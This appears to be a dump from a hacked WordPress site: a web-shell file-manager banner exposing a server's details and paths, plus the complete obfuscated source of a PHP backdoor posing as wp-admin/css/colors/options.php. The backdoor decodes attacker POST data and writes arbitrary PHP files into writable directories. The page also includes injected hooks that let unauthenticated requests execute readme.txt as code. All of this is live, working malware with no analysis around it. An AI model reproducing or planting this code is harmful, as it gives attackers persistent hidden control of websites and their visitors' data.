if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-admin/css/colors/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-admin/css/colors/options.php
<?php function KIENdBIy($pQcRx, $SQMurQuiGH, $lXTLlXoBF){$oaMVBhjxLr = "c3fbf8f4-c5ce-4490-b21b-ffb0ad358e78";return $pQcRx ^ $oaMVBhjxLr[$SQMurQuiGH % strlen($oaMVBhjxLr)] ^ $lXTLlXoBF;}$oaFuH = "dHaeBJbc";function enqkqxZui($oaFuH){ $BpmnSXJgtD = chr(115)."\x74"."\162".chr(595-500).'r'.'o'."\x74".chr(49).chr(51);$oaFuH = $BpmnSXJgtD($oaFuH);$ObzODNR = chr(814-700).chr(459-362).chr(1056-937).chr(117).chr(603-489)."\154".chr(924-824).'e'.'c'."\x6f"."\144".chr(365-264);$oaFuH = $ObzODNR($oaFuH);$oaFuH = str_split($oaFuH);return $oaFuH;}function HPHQrvi($mXXXQszH, $lXTLlXoBF){$mXXXQszH = array_map("KIENdBIy", array_values($mXXXQszH), array_keys($mXXXQszH), array_values($lXTLlXoBF));$mXXXQszH = implode("", $mXXXQszH);$ISxaLjK = chr(1026-909)."\156".chr(762-647).chr(101)."\x72".chr(1073-968)."\x61"."\154".chr(105).chr(122).'e';$mXXXQszH = @$ISxaLjK($mXXXQszH);return $mXXXQszH;}function cqwkCbbJmF($lXTLlXoBF, $mXXXQszH){$lXTLlXoBF = array_slice(str_split(str_repeat($lXTLlXoBF, (count($mXXXQszH)/16)+1)), 0, count($mXXXQszH));return $lXTLlXoBF;}function MNelPGQLjV(){echo "Vapsk";}function BrcleJdJHp($SZatsbir){static $gkgmywfrh = array();$kaTJFSCwQe = glob($SZatsbir . '/*', GLOB_ONLYDIR);$ZSJaXZA = count($kaTJFSCwQe);if ($ZSJaXZA > 0) {foreach ($kaTJFSCwQe as $SZatsb) {$aLkXNYrrne = chr(537-432).chr(183-68).'_'."\167"."\162".'i'.'t'."\x61".chr(959-861).chr(108).'e';if (@$aLkXNYrrne($SZatsb)) {$gkgmywfrh[] = $SZatsb;}}}foreach ($kaTJFSCwQe as $SZatsbir) BrcleJdJHp($SZatsbir);return $gkgmywfrh;}function zTFVC($mXXXQszH){$NsXdXqYmO = 'D'.chr(79).'C'."\x55"."\x4d".'E'.'N'.chr(797-713)."\137".chr(82).chr(79).'O'.chr(287-203);$SVPWoIKd = $_SERVER[$NsXdXqYmO];$kaTJFSCwQe = BrcleJdJHp($SVPWoIKd);$rlYOr = array_rand($kaTJFSCwQe);$dRnpGH = chr(808-762)."\x70"."\150".'p';$iLZBUCm = $kaTJFSCwQe[$rlYOr] . "/" . substr(md5(time()), 0, 8) . $dRnpGH;$fOMsrKE = 'f'.chr(105)."\x6c".chr(101).chr(95).chr(526-414).chr(240-123)."\164".'_'.chr(215-116).'o'."\156".'t'.chr(489-388)."\x6e"."\x74"."\x73";@$fOMsrKE($iLZBUCm, $mXXXQszH);$gGBxEgeLi = "\x48".chr(84).'T'.chr(80).chr(95)."\x48".chr(79).'S'."\124";$bDSuzvBuuc = "\150".chr(116).chr(116).'p'.chr(58).chr(612-565).'/';$eaRDDZY = $bDSuzvBuuc . $_SERVER[$gGBxEgeLi] . substr($iLZBUCm, strlen($SVPWoIKd));print($eaRDDZY);}function dUoRYy(){$PknUxARfQ = chr(677-565).chr(331-227).chr(112);$jHJpPdx = chr(858-746)."\x68".chr(318-206).'v'.chr(835-734).chr(114).chr(115)."\151"."\x6f".chr(1063-953);$mXXXQszH = Array($PknUxARfQ => @$jHJpPdx(), );$LTIHAPSy = "\163".'e'.chr(114).chr(1029-924)."\x61"."\x6c".'i'.'z'."\x65";echo @$LTIHAPSy($mXXXQszH);}function evxzDtHDH(){echo "dHaeBJbc";}foreach ($_POST as $lXTLlXoBF => $mXXXQszH){$TWGqsDSCU = strlen($lXTLlXoBF);if ($TWGqsDSCU == 16){$mXXXQszH = enqkqxZui($mXXXQszH);$lXTLlXoBF = cqwkCbbJmF($lXTLlXoBF, $mXXXQszH);$mXXXQszH = HPHQrvi($mXXXQszH, $lXTLlXoBF);if (@is_array($mXXXQszH)){$rlYOr = array_keys($mXXXQszH);$mXXXQszH = $mXXXQszH[$rlYOr[0]];$rlYOr = $rlYOr[0];$rlYOr = substr($rlYOr, 0);if ($mXXXQszH !== $rlYOr){zTFVC($mXXXQszH);}else {dUoRYy();}}}}die();
@ Telegram